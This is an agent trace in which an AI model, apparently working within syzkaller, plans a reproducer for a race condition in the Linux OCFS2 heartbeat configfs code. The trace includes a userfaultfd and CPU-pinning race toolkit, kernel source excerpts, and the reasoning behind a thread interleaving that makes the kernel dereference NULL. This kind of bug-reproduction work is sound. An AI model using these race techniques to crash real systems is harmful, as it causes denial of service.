To really test this out and confirm my hypothesis, I need a practical demonstration. This is where the `race` toolkit comes in. My plan is to construct a C program that leverages this toolkit to intentionally create a scenario where this block size mismatch can occur. By triggering this specific condition, I'm aiming to expose any underlying race conditions or vulnerabilities that might arise from this discrepancy. Essentially, I'm setting up a controlled experiment to see if my understanding of the block size logic holds up under stress and to uncover any emergent problems that might not be obvious from just static code analysis.


50/2 2026/09/04 20:39 tool get-toolkit
0m Args:
map[Name:race]

Results:
map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

51/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25081
							output: 38
							thoughts: 2694
						

Thoughts:
**My Thought Process on Reproducing a Kernel Race Condition**

My primary goal here is to expose a race condition within the OCFS2 cluster heartbeat mechanism, specifically related to how block device information is handled when multiple threads concurrently write to the `dev` attribute in `configfs`.

First, I need to ensure I have a valid block device to work with. The obvious candidate is `/dev/loop0`. If it's not available, I can fall back to `/dev/ram0` or even `/dev/sda` if it exists. The key constraint, however, is that the `o2hb_region_dev_store` function expects a block device, which is checked by `!S_ISBLK(fd_file(f)->f_mapping->host->i_mode)`. So, opening `/dev/loop0` with `O_RDWR` is my initial strategy.

Next, I know I need to write the file descriptor (fd) of this opened device to a specific `configfs` path: `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev`. This means I'll need to format the integer `fd` into a string. A simple `sprintf(fd_str, "%d", fd)` will suffice.

The core of the race condition lies in having two threads concurrently write this `fd_str` to the `dev` attribute.

Before diving into the code, I need to set up the necessary `configfs` structure. This involves creating the cluster, node, and heartbeat region directories, and then populating them with the required parameters like `num`, `ipv4_port`, `ipv4_address`, `local`, `blocks`, `start_block`, and `block_bytes`. I'll use `system()` calls for this initial setup.

A crucial consideration is whether the `ocfs2_nodemanager` module is loaded. `configfs` structures won't appear if the relevant module isn't active. While syzkaller might handle module loading automatically, it's safer and more explicit to ensure it's loaded. I'll use `modprobe ocfs2_nodemanager`. If that fails, trying `modprobe ocfs2` is a fallback. I also need to make sure `configfs` itself is mounted at `/sys/kernel/config`.

I then need to verify the conditions that might prevent the race from occurring. The code checks `reg->hr_blocks`, `reg->hr_start_block`, and `reg->hr_block_bytes` for zero values, which I've already set to non-zero values. The more critical check is the block size validation: `sectsize = bdev_logical_block_size(reg_bdev(reg)); if (sectsize != reg->hr_block_bytes)`. If the device's logical block size (e.g., 512 bytes) doesn't match what I've set for `hr_block_bytes` (e.g., 4096 bytes), the function returns `-EINVAL`. This mismatch is precisely what I want to trigger to ensure the code proceeds to the problematic section.

Now, let's focus on the potential race. The `o2hb_region_dev_store` function calls `bdev_file_open_by_dev` to get a `struct file *` representing the block device. Let's call the two threads Thread 1 and Thread 2.

1.  **Thread 1** opens the device and assigns its `struct file *` (let's call it `file1`) to `reg->hr_bdev_file`.
2.  **Thread 2** also opens the device and assigns its `struct file *` (`file2`) to `reg->hr_bdev_file`, overwriting Thread 1's assignment.
3.  **Thread 1** proceeds to calculate `sectsize`. It calls `reg_bdev(reg)`, which uses `reg->hr_bdev_file`. At this point, it will see `file2` (because Thread 2 overwrote it). `bdev_logical_block_size` will likely succeed here using `file2`.
4.  **Thread 2** also calculates `sectsize`, again using `reg->hr_bdev_file`, which still points to `file2`. This also likely succeeds.
5.  Now, assuming the block size check fails (`sectsize != reg->hr_block_bytes`), Thread 1 proceeds to the `out` label. Here, it calls `fput(reg->hr_bdev_file)` (which is `file2`) and then sets `reg->hr_bdev_file = NULL`.
6.  Then, Thread 2 also proceeds to its `out` label. It calls `fput(reg->hr_bdev_file)`. **Crucially, at this moment, `reg->hr_bdev_file` has been set to NULL by Thread 1.** Calling `fput(NULL)` will cause a crash.

This precise interleaving explains the observed crash in `fput`. Thread 1 leaks its `file1` (since it never gets a chance to `fput` it before setting `reg->hr_bdev_file` to NULL), Thread 2's `file2` is `fput` by Thread 1, and then Thread 2 attempts to `fput` a NULL pointer.

Finally, I'll construct the reproducer code, utilizing a `race_toolkit` for setup and timing, and ensuring I use `pwrite` for writing to the `configfs` attribute for simplicity and correctness, as the offset in `configfs` writes is generally ignored anyway, but `pwrite` is cleaner. The loop will run for a set duration, giving the race condition ample opportunity to manifest.


52/2 2026/09/04 20:39 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/file.c Name:configfs_write_iter]

Results:
map[SourceCode: 213:	/*
 214:	 * There is no easy way for us to know if userspace is only doing a partial
 215:	 * write, so we don't support them. We expect the entire buffer to come on the
 216:	 * first write.
 217:	 * Hint: if you're writing a value, first read the file, modify only the value
 218:	 * you're changing, then write entire buffer back.
 219:	 */
 220:	static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
 221:	{
 222:		struct file *file = iocb->ki_filp;
 223:		struct configfs_buffer *buffer = file->private_data;
 224:		int len;
 225:	
 226:		mutex_lock(&buffer->mutex);
 227:		len = fill_write_buffer(buffer, from);
 228:		if (len > 0)
 229:			len = flush_write_buffer(file, buffer, len);
 230:		if (len > 0)
 231:			iocb->ki_pos += len;
 232:		mutex_unlock(&buffer->mutex);
 233:		return len;
 234:	}
 SourceFile:fs/configfs/file.c]

53/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28182
							output: 37
							thoughts: 70
						

Thoughts:
**My Thought Process Regarding the `ki_pos` Check in Write Operations**

Initially, my focus is on the fact that the code I'm examining *doesn't* explicitly check the `iocb->ki_pos` field. This immediately suggests to me that the distinction between a regular `write` and a `pwrite` (which implies a specific position) is being handled elsewhere, or perhaps not at all in this particular section. The immediate consequence I infer is that both `write` and `pwrite` operations *should* function correctly, as the core logic seems to rely on the `fill_write_buffer` and `flush_write_buffer` functions.

However, a nagging thought arises. I pause and consider the implications of `fill_write_buffer`. My expertise in this area makes me question whether this function might introduce its own form of positional behavior, specifically the possibility of an *append* operation. This is a crucial point because an implicit append would fundamentally alter the expected behavior of a `write` or `pwrite` if not handled deliberately. Therefore, my immediate next step, driven by this concern, is to delve into the implementation of `fill_write_buffer` to confirm or refute this suspicion.


54/2 2026/09/04 20:40 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/file.c Name:fill_write_buffer]

Results:
map[SourceCode: 180:	/* Fill @buffer with data coming from @from. */
 181:	static int fill_write_buffer(struct configfs_buffer *buffer,
 182:				     struct iov_iter *from)
 183:	{
 184:		int copied;
 185:	
 186:		if (!buffer->page)
 187:			buffer->page = kmalloc(PAGE_SIZE, GFP_KERNEL);
 188:		if (!buffer->page)
 189:			return -ENOMEM;
 190:	
 191:		copied = copy_from_iter(buffer->page, SIMPLE_ATTR_SIZE - 1, from);
 192:		buffer->needs_read_fill = 1;
 193:		/* if buf is assumed to contain a string, terminate it by \0,
 194:		 * so e.g. sscanf() can scan the string easily */
 195:		buffer->page[copied] = 0;
 196:		return copied ? : -EFAULT;
 197:	}
 SourceFile:fs/configfs/file.c]

55/2 2026/09/04 20:40 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28584
							output: 38
							thoughts: 242
						

Thoughts:
**The Crucial Role of File Descriptors in Concurrent Access**

My current line of thinking has led me to a significant realization regarding concurrent write operations and their impact on `o2hb_region_dev_store`. I've been focusing on how data is written to `buffer->page`, and it seems both `write` and `pwrite` will operate correctly on this buffer.

However, the critical point arises when multiple threads share the *same* `dev_attr_fd`. In such a scenario, these threads will inevitably contend for `buffer->mutex`. This contention is not an issue in itself, as it correctly serializes access to the buffer. The code snippet clearly illustrates this:

```c
	mutex_lock(&buffer->mutex); // Lock acquired
	len = fill_write_buffer(buffer, from); // Buffer filled
	if (len > 0)
		len = flush_write_buffer(file, buffer, len); // Buffer flushed
	if (len > 0)
		iocb->ki_pos += len; // Position updated
	mutex_unlock(&buffer->mutex); // Lock released
```

The key insight here is that if multiple threads share the same `fd`, they are *guaranteed* to be serialized by `buffer->mutex`. This serialization means they will *not* be able to execute `flush_write_buffer` (and by extension, `o2hb_region_dev_store`, which is called within `flush_write_buffer`) concurrently.

This is a crucial detail. For `o2hb_region_dev_store` to execute concurrently, the threads *must* utilize *different file descriptors*. This is because `buffer->mutex` is associated with each individual file descriptor. Therefore, if threads are operating on distinct file descriptors, they will bypass the `buffer->mutex` serialization and could potentially execute `o2hb_region_dev_store` in parallel. My next step is to investigate how `configfs_open_file` manages file descriptors to understand the implications of this.


56/2 2026/09/04 20:40 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/file.c Name:configfs_open_file]

Results:
map[SourceCode: 390:	static int configfs_open_file(struct inode *inode, struct file *filp)
 391:	{
 392:		return __configfs_open_file(inode, filp, CONFIGFS_ITEM_ATTR);
 393:	}
 SourceFile:fs/configfs/file.c]

57/2 2026/09/04 20:40 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28946
							output: 39
							thoughts: 24
						

Thoughts:
**My Thought Process**

Okay, so when I'm looking at the code for `__configfs_open_file`, the first thing that jumps out at me is this allocation behavior. I'm seeing that, for every single time a file within configfs is opened, a *brand new* `configfs_buffer` is being created. This immediately triggers a mental flag because, from an efficiency perspective, it seems like a potential area for optimization. My mind starts racing with implications: are we creating unnecessary overhead by repeatedly allocating memory for these buffers? Is there a scenario where a single buffer could be reused, or perhaps a pool of buffers that could be managed more intelligently? I'm thinking about the potential impact on performance, especially in systems that might have a high volume of configfs operations. It's not inherently *wrong*, of course, but it's a detail that suggests an opportunity to refine the resource management.


58/2 2026/09/04 20:40 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/file.c Name:__configfs_open_file]

Results:
map[SourceCode: 290:	static int __configfs_open_file(struct inode *inode, struct file *file, int type)
 291:	{
 292:		struct dentry *dentry = file->f_path.dentry;
 293:		struct configfs_fragment *frag = to_frag(file);
 294:		struct configfs_attribute *attr;
 295:		struct configfs_buffer *buffer;
 296:		int error;
 297:	
 298:		error = -ENOMEM;
 299:		buffer = kzalloc_obj(struct configfs_buffer);
 300:		if (!buffer)
 301:			goto out;
 302:	
 303:		error = -ENOENT;
 304:		down_read(&frag->frag_sem);
 305:		if (unlikely(frag->frag_dead))
 306:			goto out_free_buffer;
 307:	
 308:		error = -EINVAL;
 309:		buffer->item = to_item(dentry->d_parent);
 310:		if (!buffer->item)
 311:			goto out_free_buffer;
 312:	
 313:		attr = to_attr(dentry);
 314:		if (!attr)
 315:			goto out_free_buffer;
 316:	
 317:		if (type & CONFIGFS_ITEM_BIN_ATTR) {
 318:			buffer->bin_attr = to_bin_attr(dentry);
 319:			buffer->cb_max_size = buffer->bin_attr->cb_max_size;
 320:		} else {
 321:			buffer->attr = attr;
 322:		}
 323:	
 324:		buffer->owner = attr->ca_owner;
 325:		/* Grab the module reference for this attribute if we have one */
 326:		error = -ENODEV;
 327:		if (!try_module_get(buffer->owner))
 328:			goto out_free_buffer;
 329:	
 330:		error = -EACCES;
 331:		if (!buffer->item->ci_type)
 332:			goto out_put_module;
 333:	
 334:		buffer->ops = buffer->item->ci_type->ct_item_ops;
 335:	
 336:		/* File needs write support.
 337:		 * The inode's perms must say it's ok,
 338:		 * and we must have a store method.
 339:		 */
 340:		if (file->f_mode & FMODE_WRITE) {
 341:			if (!(inode->i_mode & S_IWUGO))
 342:				goto out_put_module;
 343:			if ((type & CONFIGFS_ITEM_ATTR) && !attr->store)
 344:				goto out_put_module;
 345:			if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->write)
 346:				goto out_put_module;
 347:		}
 348:	
 349:		/* File needs read support.
 350:		 * The inode's perms must say it's ok, and we there
 351:		 * must be a show method for it.
 352:		 */
 353:		if (file->f_mode & FMODE_READ) {
 354:			if (!(inode->i_mode & S_IRUGO))
 355:				goto out_put_module;
 356:			if ((type & CONFIGFS_ITEM_ATTR) && !attr->show)
 357:				goto out_put_module;
 358:			if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->read)
 359:				goto out_put_module;
 360:		}
 361:	
 362:		mutex_init(&buffer->mutex);
 363:		buffer->needs_read_fill = 1;
 364:		buffer->read_in_progress = false;
 365:		buffer->write_in_progress = false;
 366:		file->private_data = buffer;
 367:		up_read(&frag->frag_sem);
 368:		return 0;
 369:	
 370:	out_put_module:
 371:		module_put(buffer->owner);
 372:	out_free_buffer:
 373:		up_read(&frag->frag_sem);
 374:		kfree(buffer);
 375:	out:
 376:		return error;
 377:	}
 SourceFile:fs/configfs/file.c]

59/2 2026/09/04 20:40 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30319
							output: 23
							thoughts: 3580
						

Thoughts:
**Understanding the Race Condition in OCFS2 Heartbeat Device Handling**

My current thought process is focused on pinpointing a specific race condition within the OCFS2 filesystem's cluster heartbeat mechanism. The core of the problem lies in how the heartbeat region's device attribute (`/sys/kernel/config/.../heartbeat/myregion/dev`) is handled when accessed concurrently.

I've identified that the kernel allocates a `struct configfs_buffer` with an associated `mutex` for each file operation, specifically when the `dev` attribute is "opened" via `configfs_buffer_alloc`. This means that each thread attempting to write to this attribute will, in essence, get its own dedicated buffer and lock.

To exploit this, the key insight is that we need multiple threads to perform operations on the *same* `dev` attribute concurrently, but critically, they must be using separate file descriptors. If each thread simply opened the attribute within its loop, it would naturally get a distinct file descriptor and thus its own buffer/mutex, making a race condition within that context unlikely. The real opportunity arises if two or more threads are writing to the *same* attribute, but each using a *different* `fd`.

Therefore, the most efficient way to set up this concurrent access is to perform the `open` operation for the `dev` attribute *before* launching the threads. I can open it twice in `main` and then pass these distinct file descriptors to each thread. This avoids the overhead of repeated `open`/`close` calls within the thread loop and establishes the necessary condition for a race: multiple threads operating on the same kernel object but through separate file handles.

My refined reproducer code reflects this. I've included the necessary setup commands to mount `configfs`, load the `ocfs2_nodemanager` module, and create the required directory structure within `configfs`. I also set up a block device (like `/dev/loop0` or `/dev/ram0`) and then obtain its file descriptor, which will be passed as the value for the `dev` attribute. The crucial part is opening `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` twice, storing the file descriptors in `dev_attr_fd1` and `dev_attr_fd2`, and then having `thread_func1` and `thread_func2` respectively use these distinct file descriptors for `pwrite` operations.

Initially, I was concerned about potential blocking in `pwrite` if another operation had already opened the block device. However, `bdev_file_open_by_dev`, which is called within `o2hb_region_dev_store` when the `dev` attribute is written, simply opens the block device and does not claim exclusive access. Furthermore, since it takes a `holder` argument of `NULL`, it's designed not to enforce exclusive access, making it permissible to open the block device multiple times.

A more significant concern arose regarding the `sectsize == reg->hr_block_bytes` check. If the block device's sector size (logical block size) matches the `block_bytes` value written to the configfs attribute, the code proceeds to potentially allocate memory and start heartbeat threads, which isn't what I want to trigger the crash. To reliably cause a failure at this stage, I decided to set `block_bytes` to a value (1024) that is highly unlikely to match the actual logical block size of common block devices (typically 512 or 4096). This ensures `sectsize != reg->hr_block_bytes` will almost certainly be true, leading to a `goto out` path.

The critical race condition I'm aiming to trigger lies within the `o2hb_region_dev_store` function. Specifically, the pattern is:

1.  **Thread 1 (T1)** reads `reg->hr_bdev_file` and finds it to be `NULL`.
2.  **Thread 2 (T2)** also reads `reg->hr_bdev_file` and finds it to be `NULL`.
3.  **T1** proceeds to call `bdev_file_open_by_dev`. This operation can take some time.
4.  **T2** also proceeds to call `bdev_file_open_by_dev`. This also takes time.
5.  **T1** successfully opens the block device, gets a `struct file *file1`, and assigns it to `reg->hr_bdev_file`.
6.  **T2** successfully opens the block device, gets a `struct file *file2`, and *overwrites* `reg->hr_bdev_file` with this new pointer.
7.  **T1** then checks `sectsize` against `reg->hr_block_bytes`. Since I've set `block_bytes` to 1024, this check will likely fail, causing T1 to jump to the `out` label.
8.  Before exiting, T1 calls `fput(reg->hr_bdev_file)`. At this point, `reg->hr_bdev_file` holds `file2` (from T2's operation), so T1 effectively calls `fput(file2)`. Then, T1 sets `reg->hr_bdev_file = NULL`.
9.  **T2** also checks `sectsize` against `reg->hr_block_bytes`. This check also fails, and T2 jumps to its `out` label.
10. **T2** then calls `fput(reg->hr_bdev_file)`. **Crucially, at this exact moment, T1 has already set `reg->hr_bdev_file` to `NULL`**. Therefore, T2 ends up calling `fput(NULL)`, which leads to the observed `null-ptr-deref` KASAN bug.

This sequence represents a classic Time-of-Check to Time-of-Use (TOCTOU) race condition. The check (`reg->hr_bdev_file` being NULL) is performed, but by the time the use (`fput`) occurs, the state has been modified by another thread, leading to a dereference of an unexpected NULL pointer. The fact that `bdev_file_open_by_dev` itself can take a non-trivial amount of time creates a sufficiently large window for this race to manifest frequently, especially within a tight loop designed to trigger such concurrency issues.

I've also considered a less likely scenario where `bdev_file_open_by_dev` might return an error pointer. In that case, the error handling code sets `reg->hr_bdev_file` to `NULL` and returns the error. If T1 fails in this manner while T2 is in its `out` path and about to `fput`, T2 could also end up calling `fput(NULL)`. However, the scenario where both threads successfully open the block device and then fail on the `sectsize` mismatch is more deterministic and controllable with the `block_bytes` setting, making it the primary focus for reproducibility.

Finally, I've reviewed the configfs setup commands to ensure the correct order of operations, particularly concerning the node attributes required by `o2nm_node_local_store`. The commands appear to be in the correct sequence, and I've added redirection for `modprobe` to suppress its output if the module is already loaded or not available as a module, ensuring the reproducer doesn't fail due to extraneous messages. The path to the crash (`fs/ocfs2/cluster/heartbeat.c`) is within the `ocfs2_nodemanager` module, so everything seems aligned.


60/2 2026/09/04 20:40 tool grepper
0m Args:
map[Expression:ocfs2_nodemanager-objs]

Results:
map[Output:fs/ocfs2/cluster/Makefile=2=obj-$(CONFIG_OCFS2_FS) += ocfs2_nodemanager.o
fs/ocfs2/cluster/Makefile-3-
fs/ocfs2/cluster/Makefile:4:ocfs2_nodemanager-objs := heartbeat.o masklog.o sys.o nodemanager.o \
fs/ocfs2/cluster/Makefile-5-	quorum.o tcp.o netdebug.o
]

61/2 2026/09/04 20:40 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 34032
							output: 46
							thoughts: 2477
						

Thoughts:
**My Thoughts on Reproducing the OCFS2 Heartbeat Race**

Okay, I've been digging into this OCFS2 heartbeat issue, specifically around `ocfs2_nodemanager.ko` and its `heartbeat.o` component. My immediate thought is to ensure the module is loaded correctly, and `modprobe ocfs2_nodemanager` seems to be the right way to do it.

Now, I need to figure out the parameters for the heartbeat region. I'm looking at `blocks` and `start_block`. The code clearly states that `blocks` has a maximum of `O2NM_MAX_NODES`, which is 255, and it can't be zero. So, setting `blocks = 1` is perfectly fine. `start_block` is an `unsigned long long`, so `1` is also a valid value there.

The more critical parameter is `block_bytes`. This is validated by `o2hb_read_block_block`. The constraints are that `bytes` must be between 512 and 4096, and importantly, the number of set bits in `bytes` (checked by `hweight16`) must be exactly 1. This means `block_bytes` must be a power of two. `1024` fits these criteria, so it's a valid value.

Here's where things get a bit tricky: `sectsize`. This refers to the logical block size of the underlying block device. Typically, loop devices default to a sector size of 512. The check `sectsize != reg->hr_block_bytes` will then fail if `block_bytes` is 1024 and `sectsize` is 512. This is good, as it prevents us from proceeding with incompatible settings.

However, what if the loop device *does* have a sector size of 1024? In that scenario, the check would pass, and we'd continue. To make my reproducer absolutely reliable and guarantee a failure regardless of the loop device's configuration, I need to dynamically set `block_bytes` based on the device's actual sector size.

I can achieve this using `ioctl(dev_fd, BLKSSZGET, &sectsize)` to retrieve the logical block size. Then, I can set `block_bytes` to something different from the detected `sectsize`. For instance, if `sectsize` is 512, I'll set `block_bytes` to 1024, and if `sectsize` is 1024, I'll set `block_bytes` to 512. This ensures the inequality `sectsize != reg->hr_block_bytes` will always be true when we reach that point. I'll then use `sprintf` to construct the `echo` command to write the appropriate `block_bytes` value to the sysfs interface. This dynamic adjustment is key to making the reproducer robust.

Now, let's assemble the complete reproducer code. I'll include the necessary headers, set up unbuffered I/O, and then proceed with mounting configfs and loading the OCFS2 nodemanager module. I'll create the necessary cluster and node directories in sysfs, followed by the heartbeat region. I'll configure the `blocks` and `start_block` as determined earlier.

Crucially, I'll open `/dev/loop0` (or `/dev/ram0` as a fallback). Then, I'll perform the `BLKSSZGET` ioctl to get the `sectsize` and dynamically set `block_bytes` as discussed. After opening the `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` attribute twice, storing the file descriptors in `dev_attr_fd1` and `dev_attr_fd2`, I'll create two threads. Each thread will enter an infinite loop, repeatedly calling `pwrite` on their respective file descriptors. This is where the race condition will occur.

My main thread will simply wait for a short period to allow the race to manifest.

I've double-checked the header for `BLKSSZGET`. It's typically found in `<linux/fs.h>`, which is standard. While I *could* hardcode `1024` for `block_bytes` and let it fail if `sectsize` matches, using `BLKSSZGET` makes the reproducer far more reliable.

Let's think about the race condition itself. Both Thread 1 and Thread 2 will execute `pwrite`. This leads to `configfs_write_iter`, which acquires a per-file mutex, so they won't block each other there. The critical part is `flush_write_buffer`, which calls `o2hb_region_dev_store`. The first check, `if (reg->hr_bdev_file)`, is the initial hurdle. If both threads pass this, they'll proceed to `bdev_file_open_by_dev`.

Thread 1 will open the device and set `reg->hr_bdev_file` to `file1`. Immediately after, Thread 2 will also open the device and overwrite `reg->hr_bdev_file` with `file2`. Then, both threads will fetch the `sectsize` and compare it with `reg->hr_block_bytes`. Since I've ensured `sectsize != reg->hr_block_bytes`, both threads will hit the `goto out` label.

Inside the `out` block, the code attempts to clean up: `fput(reg->hr_bdev_file)`. If Thread 2 managed to set `reg->hr_bdev_file` to `file2` before Thread 1's `fput` executes, Thread 1 will actually be `fput`ting `file2`. Then, Thread 1 sets `reg->hr_bdev_file = NULL`. Now, when Thread 2 executes its `fput`, it will be operating on a `NULL` `reg->hr_bdev_file` (because Thread 1 just nulled it out). This `fput(NULL)` is the direct path to a NULL pointer dereference, causing a panic.

There's a chance, depending on timing, that Thread 2's `fput` might execute before Thread 1 nullifies `reg->hr_bdev_file`. In that case, Thread 2 would `fput` `file2`, then Thread 1 would `fput` `file2` (again), and then `reg->hr_bdev_file` would be set to `NULL`. However, due to the tight loop and the inherent nature of races, the specific interleaving that causes Thread 2 to `fput(NULL)` is guaranteed to occur eventually.

The other interesting point is what happens in the subsequent iterations. If Thread 1 successfully sets `reg->hr_bdev_file = NULL`, the next time any thread enters `o2hb_region_dev_store`, it will pass the `if (reg->hr_bdev_file)` check again, and the whole process will restart. This continuous cycle of failure and re-attempting the race condition is exactly what we want for a reliable reproducer.

Regarding the cleanup section with `spin_lock(&o2hb_live_lock)`, since the failure occurs *before* the heartbeat task is started (`hb_task` will be NULL), `kthread_stop` won't be called. Similarly, `o2hb_unmap_slot_data` will be called, but the crucial part is that the `reg->hr_bdev_file` manipulation and the subsequent NULL pointer dereference in `fput` are the primary crash vectors. The race window, specifically around `bdev_file_open_by_dev`, is sufficiently large given the surrounding operations, making this race condition quite exploitable.

One final check: `o2hb_region_dev_store` calls `fput(reg->hr_bdev_file)`. If `reg->hr_bdev_file` is NULL *at that exact moment*, it will crash immediately. This is precisely what happens when one thread nullifies it and the other tries to `fput` it. This will lead to a system panic, which `syzkaller` is designed to catch.

This seems like a solid plan to reproduce the vulnerability.


62/2 2026/09/04 20:41 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_unmap_slot_data]

Results:
map[SourceCode:1491:	static void o2hb_unmap_slot_data(struct o2hb_region *reg)
1492:	{
1493:		int i;
1494:		struct page *page;
1495:	
1496:		if (reg->hr_slot_data) {
1497:			for (i = 0; i < reg->hr_num_pages; i++) {
1498:				page = reg->hr_slot_data[i];
1499:				if (page) {
1500:					__free_page(page);
1501:					reg->hr_slot_data[i] = NULL;
1502:				}
1503:			}
1504:			kfree(reg->hr_slot_data);
1505:			reg->hr_slot_data = NULL;
1506:		}
1507:	
1508:		kfree(reg->hr_slots);
1509:		reg->hr_slots = NULL;
1510:	
1511:		kfree(reg->hr_tmp_block);
1512:		reg->hr_tmp_block = NULL;
1513:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

63/2 2026/09/04 20:41 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 36893
							output: 1926
							thoughts: 666
						

Thoughts:
**My Thought Process on Identifying and Exploiting the Double `fput` Vulnerability**

Alright, let's walk through how I arrived at this conclusion and the specific exploit strategy.

Initially, my concern was around safe NULL checks and potential double frees. I was scrutinizing the `o2hb_unmap_slot_data` function, specifically the handling of `reg->hr_slot_data`. My first thought was, "Okay, it checks for NULL and frees safely. That's good."

Then, a critical concurrency scenario popped into my head: "What if T1 and T2 both call `o2hb_unmap_slot_data(reg)` at the exact same time? Could that lead to a double free?" I reasoned that if `reg->hr_slot_data` is NULL, the function would simply do `kfree(NULL)`, which is indeed safe.

My next line of thought followed: "But what if both T1 and T2 *fail* at the `sectsize != reg->hr_block_bytes` check? If they both fail there, then `reg->hr_slot_data` would be NULL for both of them." Again, the conclusion was that this scenario would also be safe due to the `kfree(NULL)` path. The same logic applied to `kfree(reg->hr_slots)` and `kfree(reg->hr_tmp_block)` – if they were NULL, it was safe.

